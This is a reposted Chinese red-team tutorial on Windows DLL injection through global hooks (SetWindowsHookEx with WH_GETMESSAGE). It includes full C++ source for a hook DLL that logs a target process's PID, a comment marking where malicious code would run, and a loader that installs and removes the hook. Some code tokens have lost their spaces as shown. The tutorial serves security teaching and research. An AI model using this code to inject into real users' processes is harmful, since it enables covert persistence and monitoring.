文章总结: 本文详细解析了Windows系统中利用全局钩子进行DLL注入的原理与实现。文章阐述了钩子作为事件拦截机制的机制,指出全局钩子需借助DLL实现跨进程代码共享。通过SetWindowsHookExAPI及共享数据段技术,演示了如何编写DLL与加载器程序,将恶意DLL注入到目标进程中执行代码,从而实现权限维持或监控功能。 综合评分: 91 文章分类: 内网渗透,红队,安全开发
Windows安全攻防-DDL全局钩子注入
原创
R0x7e
剑外思归客
2026年1月5日 00:01 江苏
By:whoami网络安全知识星球、R0x7e
钩子(Hooks)
Windows 系统中的 钩子(Hook) 是一种 事件拦截机制,允许应用程序监视或修改系统事件(如键盘输入、鼠标点击、窗口消息等) 钩子本质上是一个回调函数,当特定事件发生时,操作系统会调用这个函数。钩子可以拦截并处理以下内容:
- 消息(如键盘、鼠标消息)
- 系统事件(如窗口创建、焦点切换)
- 特定线程或进程的执行
全局钩子和局部钩子
钩子可以分为全局钩子和局部钩子,局部钩子针对某一线程,全局钩子的作用域是整个系统的基于消息的应用,全局钩子需要使用DLL文件,并且在DLL文件中实现对于的钩子函数,局部钩子无需在DLL文件中实现每个进程在Windows中都有独立的地址空间,进程之间无法直接访问彼此的内存。如果钩子函数直接写在某个EXE文件中,其他进程无法直接调用该EXE的代码,因为它们的地址空间是隔离的。 DLL的设计初衷就是代码共享。当系统需要调用全局钩子时,会将包含钩子函数的DLL动态注入到目标进程的地址空间中。这样,所有需要处理钩子事件的进程都可以加载并调用同一个DLL中的钩子函数,从而实现跨进程的钩子功能。
- Windows 的钩子机制是基于 线程(Thread) 的,而不是进程(Process)。
- 每个线程有自己的消息队列,钩子需要绑定到具体的线程才能拦截消息。
钩子相关windows API
SetWindowsHookEx
安装一个钩子,监视指定类型的事件消息。
HHOOK SetWindowsHookEx(
int idHook, // 钩子类型(如 WH_KEYBOARD, WH_MOUSE)
HOOKPROC lpfn, // 钩子回调函数地址
HINSTANCE hmod, // 包含钩子函数的DLL模块句柄
DWORD dwThreadId // 线程ID(0表示全局钩子) );
idHook:钩子类型(如WH_KEYBOARD_LL表示低级键盘钩子)。lpfn:钩子回调函数的地址(必须符合HOOKPROC签名)。hmod:必须为DLL模块句柄(全局钩子时)。dwThreadId:目标线程ID(0表示全局钩子,影响所有线程)。
UnhookWindowsHookEx
卸载已安装的钩子
BOOL UnhookWindowsHookEx( HHOOK hhk );// 由 SetWindowsHookEx 返回的钩子句柄
其他API
GetModuleHandle
获取当前进程或DLL的模块句柄。
HMODULE GetModuleHandle( LPCSTR lpModuleName // 模块名称(NULL 表示当前进程) );
应用场景:在 SetWindowsHookEx 中获取DLL模块句柄(全局钩子时)
钩子类型
| 钩子类型 | 描述 |
| — | — |
| WH_CALLWNDPROC | 监控发送到窗口的消息(局部钩子)。 |
| WH_KEYBOARD | 监控键盘事件(仅限当前线程)。 |
| WH_KEYBOARD_LL | 低级键盘钩子(全局钩子,需DLL支持)。 |
| WH_MOUSE | 监控鼠标事件(仅限当前线程)。 |
| WH_MOUSE_LL | 低级鼠标钩子(全局钩子,需DLL支持)。 |
| WH_SHELL | 监控外壳事件(如任务栏操作)。 |
| WH_CBT | 监控窗口创建、激活等事件。 |
| WH_GETMESSAGE | 监控从消息队列获取消息的事件。 |
全局钩子实现DLL注入
这里通过WH_GETMESSAGE钩子实现,该钩子可以拦截所有 GUI 程序的消息(如键盘、鼠标、窗口消息),windows系统是基于消息驱动的,所有进程都会有一个消息队列,当有进程发送消息时,会触发该类型的钩子,实现DLL注入 DLL代码
#include "pch.h"
#include <windows.h>
#include <stdio.h>
#include <string>
#include <fstream>
#include <iostream>
// 共享数据段 (用于进程间通信)
#pragma data_seg(".shared")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.shared,RWS")
// 目标PID
#define TARGET_PID 4960
// 全局保存DLL模块句柄
HMODULE g_hThisDll = NULL;
// DLL入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// 禁用线程通知 (可选)
DisableThreadLibraryCalls(hModule);
// 如果不是目标PID,不加载此DLL
//if (currentPID != TARGET_PID)
//{
// return FALSE;
//}
g_hThisDll = hModule;
// 在这里可以执行恶意代码
//MessageBoxA(NULL, "DLL Injected Successfully!", "Hook DLL", MB_OK);
break;
//case DLL_PROCESS_DETACH:
// // 清理代码
// if (g_hHook) {
// UnhookWindowsHookEx(g_hHook);
// }
// break;
}
return TRUE;
}
// 写入PID到文件的函数
void WritePidToFile() {
// 获取当前进程ID
DWORD pid = GetCurrentProcessId();
// 构造文件路径 - 使用临时目录避免权限问题
char path[MAX_PATH];
GetTempPathA(MAX_PATH, path);
strcat_s(path, "process_pids.log");
// 打开文件追加写入
std::ofstream outFile;
outFile.open(path, std::ios_base::app);
if (outFile.is_open()) {
// 写入PID和时间戳
SYSTEMTIME st;
GetLocalTime(&st);
outFile << "PID: " << pid << " - "
<< st.wYear << "-" << st.wMonth << "-" << st.wDay << " "
<< st.wHour << ":" << st.wMinute << ":" << st.wSecond << "\n";
outFile.close();
}
}
// 钩子过程函数
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) {
// 获取当前进程ID
DWORD currentPID = GetCurrentProcessId();
if (nCode >= 0and currentPID== TARGET_PID) {
// 写入当前进程PID到文件
WritePidToFile();
}
// 调用下一个钩子
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
// 导出函数 - 设置钩子
extern"C" __declspec(dllexport) BOOL SetHook(DWORD threadId) {
g_hHook = SetWindowsHookEx(WH_GETMESSAGE, HookProc, g_hThisDll, threadId);
return g_hHook != NULL;
}
// 导出函数 - 移除钩子
extern"C" __declspec(dllexport) BOOL RemoveHook() {
if (g_hHook) {
return UnhookWindowsHookEx(g_hHook);
}
return FALSE;
}
加载DLL的程序代码
#include <windows.h>
#include <iostream>
#include <string>
#include <limits> // 添加这个头文件以使用numeric_limits
// 定义函数指针类型
typedef BOOL(*SET_HOOK_FUNC)(DWORD);
typedef BOOL(*REMOVE_HOOK_FUNC)();
// 加载DLL并获取函数指针
bool LoadDllFunctions(HMODULE& hDll, SET_HOOK_FUNC& SetHook, REMOVE_HOOK_FUNC& RemoveHook) {
// 加载DLL
hDll = LoadLibrary(TEXT("DLL2.dll"));
if (hDll == NULL) {
std::cerr << "LoadLibrary failed: " << GetLastError() << std::endl;
returnfalse;
}
// 获取SetHook函数地址
SetHook = (SET_HOOK_FUNC)GetProcAddress(hDll, "SetHook");
if (SetHook == NULL) {
std::cerr << "GetProcAddress(SetHook) failed: " << GetLastError() << std::endl;
FreeLibrary(hDll);
returnfalse;
}
// 获取RemoveHook函数地址
RemoveHook = (REMOVE_HOOK_FUNC)GetProcAddress(hDll, "RemoveHook");
if (RemoveHook == NULL) {
std::cerr << "GetProcAddress(RemoveHook) failed: " << GetLastError() << std::endl;
FreeLibrary(hDll);
returnfalse;
}
returntrue;
}
// 显示菜单
void ShowMenu() {
std::cout << "\n=== Hook 控制菜单 ===" << std::endl;
std::cout << "1. 设置钩子(SetHook)" << std::endl;
std::cout << "2. 移除钩子(RemoveHook)" << std::endl;
std::cout << "3. 退出程序" << std::endl;
std::cout << "请输入选择(1-3): ";
}
int main() {
HMODULE hDll = NULL;
SET_HOOK_FUNC SetHook = NULL;
REMOVE_HOOK_FUNC RemoveHook = NULL;
// 加载DLL和函数
if (!LoadDllFunctions(hDll, SetHook, RemoveHook)) {
return1;
}
int choice = 0;
bool running = true;
while (running) {
ShowMenu();
std::cin >> choice;
// 清除输入缓冲区
std::cin.clear();
// 添加NOMINMAX宏定义或者使用括号
std::cin.ignore((std::numeric_limits<std::streamsize>::max)(), '\n');
switch (choice) {
case1: // 设置钩子
if (SetHook(0)) { // 0表示全局钩子
std::cout << "钩子设置成功!" << std::endl;
}
else {
DWORD err = GetLastError();
std::cerr << "钩子设置失败! 错误代码: " << err << std::endl;
}
break;
case2: // 移除钩子
if (RemoveHook()) {
std::cout << "钩子移除成功!" << std::endl;
}
else {
DWORD err = GetLastError();
std::cerr << "钩子移除失败! 错误代码: " << err << std::endl;
}
break;
case3: // 退出程序
running = false;
std::cout << "程序即将退出..." << std::endl;
break;
default:
std::cerr << "无效输入,请重新选择!" << std::endl;
break;
}
}
// 卸载DLL
FreeLibrary(hDll);
return0;
}
By:whoami网络安全知识星球、R0x7e
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:剑外思归客 R0x7e《Windows安全攻防-DDL全局钩子注入》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论